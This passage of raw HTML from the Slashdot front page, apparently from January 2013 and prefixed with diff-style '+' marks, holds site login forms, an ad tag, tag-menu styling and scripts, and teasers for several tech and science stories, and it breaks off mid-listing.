+<form action="https://slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }" class="embedded"><fieldset style="-webkit-border-radius:10px 10px 0 0;border-radius:10px 10px 0 0;-moz-border-radius:10px 10px 0 0">
+<div style='height:25px;'> </div>
+ <input type="hidden" name="returnto" value="">
+ <input type="hidden" name="op" value="userlogin">
+ <p>
+ <label class="fleft" for="unickname">Nickname:</label>
+ <input type="text" name="unickname" value="">
+ </p>
+ <p>
+ <label class="fleft" for="upasswd">Password:</label>
+ <input type="password" name="upasswd" placeholder="6-20 characters long">
+ </p>
+ <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label>
+ <br>
+ <hr>
+ <input type="submit" name="userlogin" value="Log In" class="fno"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a>
+</fieldset></form>
+
+ <form action="//slashdot.org/login.pl" method="post"><fieldset style="-webkit-border-radius:0 0 10px 10px;border-radius:0 0 10px 10px;-moz-border-radius:0 0 10px 10px">
+ <input type="hidden" name="op" value="claim_openid">
+ <input type="hidden" name="openid_login" value="1">
+ <label for="openid_url" class="openid_url">
+ <input type="text" name="openid_url" value="http://" size="32" maxlength="255">
+ </label><br>
+ <input type="submit" value="Log in with OpenID" class="button fno" style="width:230px;">
+ </fieldset></form>
+ <div id="janrainEngageEmbed"></div>
+
+
+<div class="actions">
+ <a class="ico close" onclick="hide_login_slider();" href=""><span>Close</span></a>
+</div>
+</div>
+
+ <div class="ad33 advertisement"><!-- ad position 33 -->
+ <!-- DoubleClick Ad Tag -->
+<div id="fad33">
+
+
+
+ <script type="text/javascript">
+ //<![CDATA[
+
+ var hint = 'mainpage';
+
+ document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/ostg.slashdot/mainpage_p33_powerswitch;pg=index2;logged_in=0;tile='+dfp_tile+';sz=980x66;u=;ord='+dfp_ord+'?"><\/script>');
+ dfp_tile++;
+ //]]>
+ </script>
+
+
+</div>
+<!-- End DoubleClick Ad Tag --></div>
+ <a name="main-articles"></a><!-- body begin -->
+
+
+
+
+
+
+
+
+ <style type="text/css">
+menu, menu * {
+ text-decoration:none;
+}
+
+menu[type=context] {
+ display:none;
+ position:absolute;
+ z-index:10000;
+}
+
+menu[type=context]:not(.brief) {
+ background-color:#dfdfdf;
+ margin:0;
+ padding:2px 0.5em;
+ border-style:solid;
+ border-width:1px;
+ border-color:#eeeeee #aaaaaa #aaaaaa #eeeeee;
+ -moz-border-radius-topright:.7em;
+ -webkit-border-top-right-radius: 0.7em 0.7em;
+}
+
+menu.full[type=context] > a.slash-hover:first-child {
+ -moz-border-radius-topright:.6em;
+ -webkit-border-top-right-radius: 0.6em 0.6em;
+}
+
+
+
+menu.brief[type=context] > a {
+ -moz-border-radius:.6em;
+ -webkit-border-radius: 0.6em;
+ color:#ffffff;
+ background-color:#000000;
+}
+
+/*
+span.briefmenu a.tag:not(.datatype) {
+ padding-left:.5em;
+}
+*/
+
+
+
+
+/* #tag-menu a, #feedback-menu a { */
+menu.tag-menu a {
+ display:list-item;
+ list-style:none;
+ text-align:left;
+ font-weight:bold;
+ color:black;
+ padding:0.1em 0.5em;
+ margin:-0.1em -0.5em;
+ cursor:pointer;
+}
+
+
+.tags .edit-bar { position:relative; }
+article aside .share .addthis_toolbox { display:block; width:60px; float:left; }
+article aside.view_mode .share { min-width:120px; padding-top:.5em; }
+#firehose.list article header h2 {padding-left: 20px; !important}
+.novote .vote { display:none; }
+.vote > a, .votedup > a, .voteddown > a {border-width:1px; border-style:solid; border-color:rgba(0,0,0,0.25); display:block; height:22px; width:22px; margin:-2px 3px 0 0; color:rgb(255,255,255); text-decoration:none; line-height:22px; text-align:center; font-weight:bold; font-size:14px; float:left; border-width:1px; border-style:solid; border-color:rgba(0,0,0,0.5); }
+.vote > a, .votedup > a, .voteddown > a {color:rgb(0,0,0);}
+article.fhitem-submission h2 .vote > a, article.fhitem-submission h2 .votedup > a, article.fhitem-submission h2 .voteddown > a { border-color:rgba(0,0,0,0.15); }
+.vote .up, .vote .down, .votedup .up, .votedup .down, .voteddown .up, .voteddown .down { border-radius: 4px; -moz-border-radius: 4px; -webkit-border-radius: 4px; text-shadow:0 0 2px #000000; }
+article:not(.fhitem-story) .vote .up,article:not(.fhitem-story) .vote .down,article:not(.fhitem-story) .votedup .up,article:not(.fhitem-story) .votedup .down,article:not(.fhitem-story) .voteddown .up,article:not(.fhitem-story) .voteddown .down { text-shadow:none !important; }
+.voteddown .down, .votedup .up { text-indent:2px; line-height:24px; }
+article:not(.fhitem-story) .votedup .up,article:not(.fhitem-story) .voteddown .down {background: rgb(174,174,174);background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgb(174,174,174)), to(rgb(193,193,193)));background-image: -moz-linear-gradient(100% 100% 90deg,rgb(193,193,193), rgb(174,174,174) 100%);color:rgb(0,0,0);}
+article.fhitem-story .votedup .up,article.fhitem-story .voteddown .down {background: rgb(0,66,66);background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgb(0,53,53)), to(rgb(0,102,102)));background-image: -moz-linear-gradient(100% 100% 90deg,rgb(0,102,102), rgb(0,53,53) 100%);}
+
+
+
+
+
+#tag-menu span.var-tag {
+font-weight:normal;
+color:#444444;
+}
+
+menu.reasons-menu a {
+padding:0 .25em 0 .25em;
+font-size:80%;
+-moz-border-radius:.5em;
+-webkit-border-radius:.5em;
+cursor:pointer;
+}
+
+menu.reasons-menu a:hover {
+background:rgb(153,153,153);
+background:-moz-linear-gradient(100% 100% 90deg, rgb(102,102,102), rgb(153,153,153) 70%) repeat scroll 0 0 rgb(102,102,102);
+background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgb(153,153,153)), to(rgb(102,102,102)));
+color:#fff;
+text-decoration:none;
+font-weignt:normal;
+}
+
+article.fhitem-story menu.reasons-menu a:hover {
+background:#002323 !important;
+background:-moz-linear-gradient(100% 100% 90deg, #002323, #005353 70%) repeat scroll 0 0 #002323 !important;
+background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#005353), to(#002323)) !important;
+}
+
+
+menu.reasons-menu {
+ display:none;
+ margin:0;
+ padding:0;
+}
+
+div.fhitem h3 menu.reasons-menu {
+margin:0.25em 0 0;
+}
+
+div.fhitem h3 menu.reasons-menu a.tag {
+font-size:.8em;
+}
+
+#tag-menu a.slash-hover,
+#feedback-menu a.slash-hover,
+
+.tag-display span.tag:hover,
+.tag-display span.tag.trigger {
+ color:white;
+ background-color:rgb(0, 85, 85);
+}
+
+#tag-menu a.slash-hover span.var-tag {
+ color:#eee;
+}
+
+.tag-entry.default {
+ color:#ccc;
+}
+
+.brief .nix {
+ margin-top:-1.35em;
+ margin-left:0px;
+ margin-top:-1.15em;
+ text-decoration:none;
+ line-height:1.35em;
+ padding:0 2px;
+ -moz-border-radius:.6em 0 0 .6em;
+ -webkit-border-radius:.6em 0 0 .6em;
+ -o-border-radius:.6em 0 0 .6em;
+ border-radius:.6em 0 0 .6em;
+ color:#fff !important;
+ background:transparent !important;
+}
+
+.brief .nix:hover {
+ background:rgb(153,153,153) !important;
+ background:-moz-linear-gradient(100% 100% 90deg, rgb(102,102,102), rgb(153,153,153) 70%) repeat scroll 0 0 rgb(102,102,102) !important;
+ background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgb(153,153,153)), to(rgb(102,102,102))) !important;
+}
+
+</style>
+
+<menu id="nix-reasons" style="display:none">
+ <a class="tag">binspam</a><a class="tag">dupe</a><a class="tag">notthebest</a><a class="tag">offtopic</a><a class="tag">slownewsday</a><a class="tag">stale</a><a class="tag">stupid</a>
+</menu>
+<menu id="nod-reasons" style="display:none">
+ <a class="tag">fresh</a><a class="tag">funny</a><a class="tag">insightful</a><a class="tag">interesting</a><a class="tag">maybe</a>
+</menu>
+<menu id="comment-nix-reasons" style="display:none">
+ <a class="tag">offtopic</a><a class="tag">flamebait</a><a class="tag">troll</a><a class="tag">redundant</a><a class="tag">overrated</a>
+</menu>
+<menu id="comment-nod-reasons" style="display:none">
+ <a class="tag">insightful</a><a class="tag">interesting</a><a class="tag">informative</a><a class="tag">funny</a><a class="tag">underrated</a>
+</menu>
+
+<menu id="tag-nod-reasons" style="display:none">
+ <a class="tag">descriptive</a>
+</menu>
+<menu id="feedback-menu" class="tag-menu" type="context">
+ <a class="tag">typo</a><a class="tag">dupe</a><a class="tag">error</a>
+</menu>
+<menu id="tag-menu" class="tag-menu none" type="context">
+
+<!-- <a data-op="!" class="nix">!<span class="var-tag hide"></span></a>-->
+
+</menu>
+
+<script type="text/javascript">
+$(function(){
+var $CURRENT_MENU, $TAG_MENU=$('#tag-menu'), NOTNOT=/^!!/, IE7=/^7\.0/, TAG_PREFIX=/^\/tag\//;
+
+function get_tag_name( $tag ){
+ return ($tag.attr('href') || '').replace(TAG_PREFIX, '') || $tag.text().toLowerCase();
+}
+
+function trigger_menu( e, selector, $menu, menu_content ){
+ var $target=$(original_target(e, selector)), in_use=$target.is('.trigger');
+ if ( $CURRENT_MENU ) {
+ $CURRENT_MENU.menu('cancel', e);
+ $CURRENT_MENU = null;
+ }
+
+ if ( !in_use ) {
+ menu_content && $menu.stop(true, true).hide().html(menu_content);
+ ($CURRENT_MENU=$menu).menu('context', e);
+ }
+ return !in_use;
+}
+
+function open_menu( trigger, $menu ){
+ var $trigger=$(trigger), $fhitem=$trigger.closest('.fhitem');
+ $fhitem.length && user_intent('interest', $fhitem[0]);
+
+ $menu.appendTo(document.body).css({ opacity:0 }).show();
+
+ var right = $fhitem.offset().left + $fhitem.width(),
+ global = $trigger.offset(),
+ local = $menu.offsetParent().offset();
+
+ // Ugly IE position hack required:
+ $.browser.msie && IE7.test($.browser.version) && (local.top = 0);
+
+ // pin the menu (horizontally) on-screen
+ global.left = Math.min(global.left, right-$menu.width());
+
+ $trigger.addClass('trigger');
+ $menu.css({
+ position: 'absolute',
+ top: global.top - local.top + $trigger.height(),
+ left: global.left - local.left,
+ opacity: 1
+ });
+}
+
+function close_menu( trigger, $menu ){
+ $menu.hide();
+ $(trigger).removeClass('trigger');
+ ($CURRENT_MENU===$menu) && ($CURRENT_MENU=false);
+}
+
+/* T2 tag context-menu */
+var $TAG_MENU=$('#tag-menu'), NOTNOT=/^!!/;
+
+
+ var user_is_admin = 0;
+
+
+
+$('a[rel=tag]').live('mousedown',function(ea){
+ window.open(this.href);
+ return false;
+})
+
+$('.tag-bar .disagree').live('mousedown',function(ee){
+ var fhitem = $(original_target(ee)).closest('.fhitem')[0],
+ command = ('!' + $(original_target(ee)).attr("data-tag")).replace(NOTNOT, '');
+ try { Tags.submit(fhitem, command); } catch ( err ) { }
+ return false;
+})
+
+
+
+$('a[rel=tag]').
+ live('mousedown', function( e ){
+
+ return true;
+
+
+ }).
+ live('click', function( e ){
+ if ( !logged_in ) {
+ var target = original_target(e),
+ tag = $(target).text();
+ addfhfilter(tag);
+ }
+ e.preventDefault();
+ return false;
+ });
+
+$TAG_MENU.menu({
+ cssNamespace: 'slash',
+ liveTriggers: true,
+ clickDuration: 300,
+
+ start: function( e, ui ){
+ var $tag = $(ui.trigger),
+ tag = get_tag_name($tag),
+ context = firehose_settings && firehose_settings.viewtitle;
+
+ // Insert the tagname into the menu items where needed.
+ $TAG_MENU.find('span.var-tag').text(tag);
+ $TAG_MENU.find('a.nix').attr('title','not ' + tag);
+
+
+ // non-admins may only delete their own tags
+ $TAG_MENU.find('a:[data-op="-"]').toggle($tag.is('.my'));
+
+
+ // *tagname* in *viewtitle*
+ $TAG_MENU.find('a:[data-op="="]').toggle(!!context);
+ context && $TAG_MENU.find('span.var-view').text(context);
+
+ open_menu($tag, $TAG_MENU);
+ },
+
+ select: function( e, ui ){
+ var $tag = $(ui.trigger),
+ tag = get_tag_name($tag),
+ op = $(ui.select).attr('data-op'),
+ fhitem,
+ command;
+
+ // Global for positioning other things.
+ $related_trigger = $tag;
+
+ switch ( op ) {
+ case '=':
+ addfhfilter(tag);
+ break;
+
+ default:
+ fhitem = $tag.closest('.fhitem')[0];
+ command = (op + tag).replace(NOTNOT, '');
+ try { Tags.submit(fhitem, command); } catch ( err ) { }
+ break;
+ }
+ },
+
+ stop: function( e, ui ){ close_menu(ui.trigger, $TAG_MENU); }
+});
+
+
+
+
+/* T2 feedback context-menu */
+
+
+
+/* T2 datatype context-menu (admin-only) */
+
+
+
+
+
+
+});
+</script>
+
+
+
+
+ <div class="col_1">
+ <nav role="sections" id="links" class="left_menu">
+ <ul class="menu" id="fhtablist_new">
+
+
+
+
+
+
+
+
+
+ <li class="active Stories">
+
+
+
+ <a href="//slashdot.org/stories">Stories</a>
+ <span></span>
+ </li>
+
+
+
+
+
+ <li class="Submissions">
+
+ <a href="//slashdot.org/recent">Submissions</a>
+
+ </li>
+
+
+
+
+
+ <li class="Popular">
+
+ <a href="//slashdot.org/popular">Popular</a>
+
+ </li>
+
+
+
+
+
+ <li class="Blog">
+
+ <a href="//slashdot.org/blog">Blog</a>
+
+ </li>
+
+
+ </ul>
+
+
+ <h4 class="hide" id="links-sections-title" class='active'>
+
+ <a class="data-title" href="//slashdot.org" >Slashdot</a>
+
+
+ <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script>
+
+
+ </h4>
+
+
+
+
+ <ul id="firehose-sections" role="sections" class="left_menu">
+
+
+ <li class="enhancedspacer"></li>
+
+
+
+
+
+ <li class="" id="fhsection-askslashdot">
+ <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a>
+
+ </li>
+
+
+
+
+
+
+ <li class="" id="fhsection-bookreview">
+ <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a>
+
+ </li>
+
+
+
+
+
+
+ <li class="" id="fhsection-games">
+ <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a>
+
+ </li>
+
+
+
+
+
+
+ <li class="" id="fhsection-idle">
+ <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a>
+
+ </li>
+
+
+
+
+
+
+ <li class="" id="fhsection-yro">
+ <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a>
+
+ </li>
+
+
+ <li class="enhancedspacer"></li>
+
+
+
+
+
+
+ <li class="" id="fhsection-cloud">
+ <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a>
+
+ </li>
+
+
+
+
+
+
+ <li class="" id="fhsection-hardware">
+ <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a>
+
+ </li>
+
+
+
+
+
+
+ <li class="" id="fhsection-linux">
+ <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a>
+
+ </li>
+
+
+
+
+
+
+ <li class="" id="fhsection-it">
+ <a id="fhsectiontitle-18" class="data-title" href="//it.slashdot.org">Management</a>
+
+ </li>
+
+
+
+
+
+
+ <li class="" id="fhsection-mobile">
+ <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a>
+
+ </li>
+
+
+
+
+
+
+ <li class="" id="fhsection-science">
+ <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a>
+
+ </li>
+
+
+
+
+
+
+
+ <li class="" id="fhsection-security">
+ <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a>
+
+ </li>
+
+
+
+
+
+
+
+ <li class="" id="fhsection-storage">
+ <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a>
+
+ </li>
+
+
+ </ul>
+ </nav>
+ </div>
+
+ <div class="col_2">
+ <section id="content" class="grid_24">
+ <section id="firehose" class="nothumbs ">
+
+
+ <div class="grid_24 msg" id="firehose-message-tray">
+ <p>
+
+
+ Slashdot is powered by <strong><a href="//slashdot.org/submission">your submissions</a></strong>, so send in your scoop
+ </p>
+ <span class="slant"></span>
+ </div>
+
+ <a name="articles"></a>
+
+
+
+
+
+
+ <div id="firehoselist" class="fhroot fleft ">
+ <article onclick="javascript:return false;" id="firehose-42546489" data-fhid="42546489" data-fhtype="story" class="fhitem fhitem-story briefarticle usermode thumbs grid_24">
+<span class="sd-info-block" style="display: none">
+ <span class="sd-key-firehose-id">42546489</span>
+ <span class="type">story</span>
+
+</span>
+
+
+
+
+
+
+
+ <header>
+
+
+ <span class="topic" id="topic-42546489">
+ <a href="//slashdot.org/index2.pl?fhfilter=mars" onclick="return addfhfilter('mars');">
+
+ <img src="//a.fsdn.com/sd/topics/mars_64.png" width="64" height="64" alt="Mars" title="Mars">
+
+ </a>
+ </span>
+
+
+ <h2 class="story">
+
+
+
+ <span id="title-42546489"> <a onclick="return toggle_fh_body_wrap_return(this);" href="//science.slashdot.org/story/13/01/25/0150235/opportunity-begins-10th-year-on-mars">Opportunity Begins 10th Year on Mars </a></span>
+
+
+ <span class="comments commentcnt-42546489" >1</span>
+
+
+
+ </h2>
+ <div class="details" id="details-42546489">
+
+ Posted
+ by
+
+
+
+ <a href="mailto:samzenpus at slashdot.org" rel="nofollow">samzenpus</a>
+
+
+
+
+
+
+ <time id="fhtime-42546489" datetime="on Friday January 25, @01:31AM">on Friday January 25, @01:31AM</time>
+
+
+ <br>from the sticking-around dept.
+
+ </div>
+ </header>
+
+ <div class="hide" id="fhbody-42546489">
+
+
+
+
+ <div id="text-42546489" class="p">
+ An anonymous reader points out that 9 years ago the Opportunity rover started to explore the red planet. <i>"The older, smaller cousin of NASA's huge Mars rover Curiosity is quietly celebrating a big milestone Thursday — nine years on the surface of the Red Planet. NASA's Opportunity rover landed on Mars the night of Jan. 24, 2004 PST (just after midnight EST on Jan. 25), three weeks after its twin, Spirit, touched down. Spirit stopped operating in 2010, but <a href="http://www. [...]
+
+
+
+
+ </div>
+ <aside class="novote">
+
+ </aside>
+
+ <footer class="clearfix meta article-foot">
+ <div class="grid_10 l">
+
+ <a href="//science.slashdot.org/story/13/01/25/0150235/opportunity-begins-10th-year-on-mars" class="read-more" title=""><span>Read the </span><strong class="comments commentcnt-42546489">1</strong> <span>comment</span> </a>
+
+ </div>
+
+ <div class="grid_14 r">
+ <span class="tright tags"><menu type="toolbar" class="edit-bar">
+ <a class="edit-toggle" href="/my/login/" onclick="show_login_box();return false;"><span class="ui-icon button collapse"></span></a>
+ <input class="tag-entry default" type="text" size="10" style="display:none" value="apply tags">
+
+ <span id="tagbar-42546489" class="tag-bar none"><a class="topic tag" rel="statictag" href="/tag/" target="_blank"></a>
+<a class="popular tag" rel="statictag" href="/tag/mars" target="_blank">mars</a>
+<a class="popular tag" rel="statictag" href="/tag/science" target="_blank">science</a>
+<a class="popular tag" rel="statictag" href="/tag/space" target="_blank">space</a>
+</span>
+
+
+</menu></span>
+ </div>
+
+ </footer>
+
+
+
+</article><article id="firehose-42542541" data-fhid="42542541" data-fhtype="story" class="fhitem fhitem-story article usermode thumbs grid_24">
+<span class="sd-info-block" style="display: none">
+ <span class="sd-key-firehose-id">42542541</span>
+ <span class="type">story</span>
+
+</span>
+
+
+
+
+
+
+
+ <header>
+
+
+ <span class="topic" id="topic-42542541">
+ <a href="//slashdot.org/index2.pl?fhfilter=graphics" onclick="return addfhfilter('graphics');">
+
+ <img src="//a.fsdn.com/sd/topics/graphics_64.png" width="64" height="64" alt="Graphics" title="Graphics">
+
+ </a>
+ </span>
+
+
+ <h2 class="story">
+
+
+
+ <span id="title-42542541"> <a onclick="return toggle_fh_body_wrap_return(this);" href="//games.slashdot.org/story/13/01/24/235243/can-a-new-gpu-rejuvenate-a-5-year-old-gaming-pc">Can a New GPU Rejuvenate a 5 Year Old Gaming PC?</a></span>
+
+
+ <span class="comments commentcnt-42542541" >44</span>
+
+
+
+ </h2>
+ <div class="details" id="details-42542541">
+
+ Posted
+ by
+
+
+
+ <a href="mailto:samzenpus at slashdot.org" rel="nofollow">samzenpus</a>
+
+
+
+
+
+
+ <time id="fhtime-42542541" datetime="on Friday January 25, @12:34AM">on Friday January 25, @12:34AM</time>
+
+
+ <br>from the making-the-best-of-it dept.
+
+ </div>
+ </header>
+
+ <div class="body" id="fhbody-42542541">
+
+
+
+
+ <div id="text-42542541" class="p">
+ <a href="http://hothardware.com/" rel="nofollow">MojoKid</a> writes <i>"New video card launches from AMD and NVIDIA are almost always reviewed on hardware less than 12 months old. That's not an arbitrary decision — it helps reviewers make certain that GPU performance isn't held back by older CPUs and can be particularly important when evaluating the impact of new interfaces or bus designs. That said, an equally interesting perspective might be to compare the <a href="http://hot [...]
+
+
+
+
+ </div>
+ <aside class="novote">
+
+ </aside>
+
+ <footer class="clearfix meta article-foot">
+ <div class="grid_10 l">
+
+ <a href="//games.slashdot.org/story/13/01/24/235243/can-a-new-gpu-rejuvenate-a-5-year-old-gaming-pc" class="read-more" title=""><span>Read the </span><strong class="comments commentcnt-42542541">44</strong> <span>comments</span> </a>
+
+ </div>
+
+ <div class="grid_14 r">
+ <span class="tright tags"><menu type="toolbar" class="edit-bar">
+ <a class="edit-toggle" href="/my/login/" onclick="show_login_box();return false;"><span class="ui-icon button collapse"></span></a>
+ <input class="tag-entry default" type="text" size="10" style="display:none" value="apply tags">
+
+ <span id="tagbar-42542541" class="tag-bar none"><a class="popular topic tag" rel="statictag" href="/tag/" target="_blank"></a>
+<a class="popular tag" rel="statictag" href="/tag/games" target="_blank">games</a>
+<a class="popular tag" rel="statictag" href="/tag/graphics" target="_blank">graphics</a>
+</span>
+
+
+</menu></span>
+ </div>
+
+ </footer>
+
+
+
+</article><div id="firehose-day-20130124" class="daybreak fhitem-chrome">
+ <div class="grid_12 tcenter before">
+ <div class="slant"></div>
+ <a onclick="firehose_set_options('startdate', '20130125'); return false;" href="//slashdot.org/index2.pl?section=&color=green&index=1&view=stories&duration=-1&startdate=20130125&index=1">Today</a>
+ </div>
+ <div class="grid_12 tcenter after">
+ <div class="slant"></div>
+ <a onclick="firehose_set_options('startdate', '20130124'); return false;" href="//slashdot.org/index2.pl?section=&color=green&index=1&view=stories&duration=-1&startdate=20130124&index=1">Yesterday</a>
+ </div>
+</div><article id="firehose-42543393" data-fhid="42543393" data-fhtype="story" class="fhitem fhitem-story article usermode thumbs grid_24">
+<span class="sd-info-block" style="display: none">
+ <span class="sd-key-firehose-id">42543393</span>
+ <span class="type">story</span>
+
+</span>
+
+
+
+
+
+
+
+ <header>
+
+
+ <span class="topic" id="topic-42543393">
+ <a href="//slashdot.org/index2.pl?fhfilter=networking" onclick="return addfhfilter('networking');">
+
+ <img src="//a.fsdn.com/sd/topics/networking_64.png" width="64" height="64" alt="Networking" title="Networking">
+
+ </a>
+ </span>
+
+
+ <h2 class="story">
+
+
+
+ <span id="title-42543393"> <a onclick="return toggle_fh_body_wrap_return(this);" href="//tech.slashdot.org/story/13/01/24/2341212/german-federal-court-rules-that-internet-connection-is-crucial-to-everyday-life">German Federal Court Rules That Internet Connection Is Crucial To Everyday Life </a></span>
+
+
+ <span class="comments commentcnt-42543393" >51</span>
+
+
+
+ </h2>
+ <div class="details" id="details-42543393">
+
+ Posted
+ by
+
+
+
+ <a href="mailto:samzenpus at slashdot.org" rel="nofollow">samzenpus</a>
+
+
+
+
+
+
+ <time id="fhtime-42543393" datetime="on Thursday January 24, @09:58PM">on Thursday January 24, @09:58PM</time>
+
+
+ <br>from the not-without-my-net dept.
+
+ </div>
+ </header>
+
+ <div class="body" id="fhbody-42543393">
+
+
+
+
+ <div id="text-42543393" class="p">
+ Qedward writes <i>"<a href="http://www.computerworlduk.com/news/networking/3422348/internet-connection-crucial-everyday-life-german-federal-court-rules/">Internet access is as crucial to everyday life</a> as having a phone connection and the loss of connectivity is deserving of financial compensation, the German Federal Court of Justice has ruled. Because having an internet connection is so significant for a large part of the German population, a customer whose service provider failed [...]
+
+
+
+
+ </div>
+ <aside class="novote">
+
+ </aside>
+
+ <footer class="clearfix meta article-foot">
+ <div class="grid_10 l">
+
+ <a href="//tech.slashdot.org/story/13/01/24/2341212/german-federal-court-rules-that-internet-connection-is-crucial-to-everyday-life" class="read-more" title=""><span>Read the </span><strong class="comments commentcnt-42543393">51</strong> <span>comments</span> </a>
+
+ </div>
+
+ <div class="grid_14 r">
+ <span class="tright tags"><menu type="toolbar" class="edit-bar">
+ <a class="edit-toggle" href="/my/login/" onclick="show_login_box();return false;"><span class="ui-icon button collapse"></span></a>
+ <input class="tag-entry default" type="text" size="10" style="display:none" value="apply tags">
+
+ <span id="tagbar-42543393" class="tag-bar none"><a class="topic tag" rel="statictag" href="/tag/" target="_blank"></a>
+<a class="popular tag" rel="statictag" href="/tag/court" target="_blank">court</a>
+<a class="popular tag" rel="statictag" href="/tag/internet" target="_blank">internet</a>
+<a class="popular tag" rel="statictag" href="/tag/networking" target="_blank">networking</a>
+</span>
+
+
+</menu></span>
+ </div>
+
+ </footer>
+
+
+
+</article><article id="firehose-42542849" data-fhid="42542849" data-fhtype="story" class="fhitem fhitem-story article usermode thumbs grid_24">
+<span class="sd-info-block" style="display: none">
+ <span class="sd-key-firehose-id">42542849</span>
+ <span class="type">story</span>
+
+</span>
+
+
+
+
+
+
+
+ <header>
+
+
+ <span class="topic" id="topic-42542849">
+ <a href="//slashdot.org/index2.pl?fhfilter=facebook" onclick="return addfhfilter('facebook');">
+
+ <img src="//a.fsdn.com/sd/topics/facebook_64.png" width="64" height="64" alt="Facebook" title="Facebook">
+
+ </a>
+ </span>
+
+
+ <h2 class="story">
+
+
+
+ <span id="title-42542849"> <a onclick="return toggle_fh_body_wrap_return(this);" href="//tech.slashdot.org/story/13/01/24/2317249/twitters-vine-app-ready-to-bomb-internet-with-gif-like-videos">Twitter's Vine App Ready To Bomb Internet With GIF-Like Videos</a></span>
+
+
+ <span class="comments commentcnt-42542849" >78</span>
+
+
+
+ </h2>
+ <div class="details" id="details-42542849">
+
+ Posted
+ by
+
+
+
+ <a href="mailto:samzenpus at slashdot.org" rel="nofollow">samzenpus</a>
+
+
+
+
+
+
+ <time id="fhtime-42542849" datetime="on Thursday January 24, @07:55PM">on Thursday January 24, @07:55PM</time>
+
+
+ <br>from the six-seconds-you-won't-get-back dept.
+
+ </div>
+ </header>
+
+ <div class="body" id="fhbody-42542849">
+
+
+
+
+ <div id="text-42542849" class="p">
+ <a href="mailto:nkolakowski at geek.net" rel="nofollow">Nerval's Lobster</a> writes <i>"<a href="http://slashdot.org/topic/cloud/twitter-launches-vine-an-ios-app-for-short-videos/">Twitter has rolled out Vine</a>, a free app for iOS devices that allows users to shoot and post short videos. Twitter's strategic focus on brevity—the company has long resisted calls to lengthen Tweets beyond the current 140-character limit—extends to Vine videos, which can only be six seconds in l [...]
+
+
+
+
+ </div>
+ <aside class="novote">
+
+ </aside>
+
+ <footer class="clearfix meta article-foot">
+ <div class="grid_10 l">
+
+ <a href="//tech.slashdot.org/story/13/01/24/2317249/twitters-vine-app-ready-to-bomb-internet-with-gif-like-videos" class="read-more" title=""><span>Read the </span><strong class="comments commentcnt-42542849">78</strong> <span>comments</span> </a>
+
+ </div>
+
+ <div class="grid_14 r">
+ <span class="tright tags"><menu type="toolbar" class="edit-bar">
+ <a class="edit-toggle" href="/my/login/" onclick="show_login_box();return false;"><span class="ui-icon button collapse"></span></a>
+ <input class="tag-entry default" type="text" size="10" style="display:none" value="apply tags">
+
+ <span id="tagbar-42542849" class="tag-bar none"><a class="topic tag" rel="statictag" href="/tag/" target="_blank"></a>
+<a class="popular tag" rel="statictag" href="/tag/twitter" target="_blank">twitter</a>
+<a class="popular tag" rel="statictag" href="/tag/yahoo" target="_blank">yahoo</a>
+<a class="popular tag" rel="statictag" href="/tag/technology" target="_blank">technology</a>
+</span>
+
+
+</menu></span>
+ </div>
+
+ </footer>
+
+
+
+</article><article onclick="javascript:return false;" id="firehose-42542773" data-fhid="42542773" data-fhtype="story" class="fhitem fhitem-story briefarticle usermode thumbs grid_24">
+<span class="sd-info-block" style="display: none">
+ <span class="sd-key-firehose-id">42542773</span>
+ <span class="type">story</span>
+
+</span>
+
+
+
+
+
+
+
+ <header>
+
+
+ <span class="topic" id="topic-42542773">
+ <a href="//slashdot.org/index2.pl?fhfilter=starwars" onclick="return addfhfilter('starwars');">
+
+ <img src="//a.fsdn.com/sd/topics/starwars_64.png" width="64" height="64" alt="Star Wars Prequels" title="Star Wars Prequels">
+
+ </a>
+ </span>
+
+
+ <h2 class="story">
+
+
+
+ <span id="title-42542773"> <a onclick="return toggle_fh_body_wrap_return(this);" href="//entertainment.slashdot.org/story/13/01/24/2314219/jj-abrams-to-direct-star-wars-vii">J.J. Abrams To Direct Star Wars VII</a></span>
+
+
+ <span class="comments commentcnt-42542773" >316</span>
+
+
+
+ </h2>
+ <div class="details" id="details-42542773">
+
+ Posted
+ by
+
+
+
+ <a href="mailto:samzenpus at slashdot.org" rel="nofollow">samzenpus</a>
+
+
+
+
+
+
+ <time id="fhtime-42542773" datetime="on Thursday January 24, @07:26PM">on Thursday January 24, @07:26PM</time>
+
+
+ <br>from the man-with-a-plan dept.
+
+ </div>
+ </header>
+
+ <div class="hide" id="fhbody-42542773">
+
+
+
+
+ <div id="text-42542773" class="p">
+ azzkicker writes <i>"It looks like <a href="http://herocomplex.latimes.com/2013/01/24/j-j-abrams-set-to-direct-star-wars-episode-vii/">J.J. Abrams will direct Star Wars VII</a>. From the article: 'Sources have confirmed the <em>Star Trek Into Darkness</em> filmmaker will helm the next <em>Star Wars</em> movie, the highly anticipated installment in the landmark franchise scheduled to reach theaters in 2015."</i></div>
+
+
+
+
+ </div>
+ <aside class="novote">
+
+ </aside>
+
+ <footer class="clearfix meta article-foot">
+ <div class="grid_10 l">
+
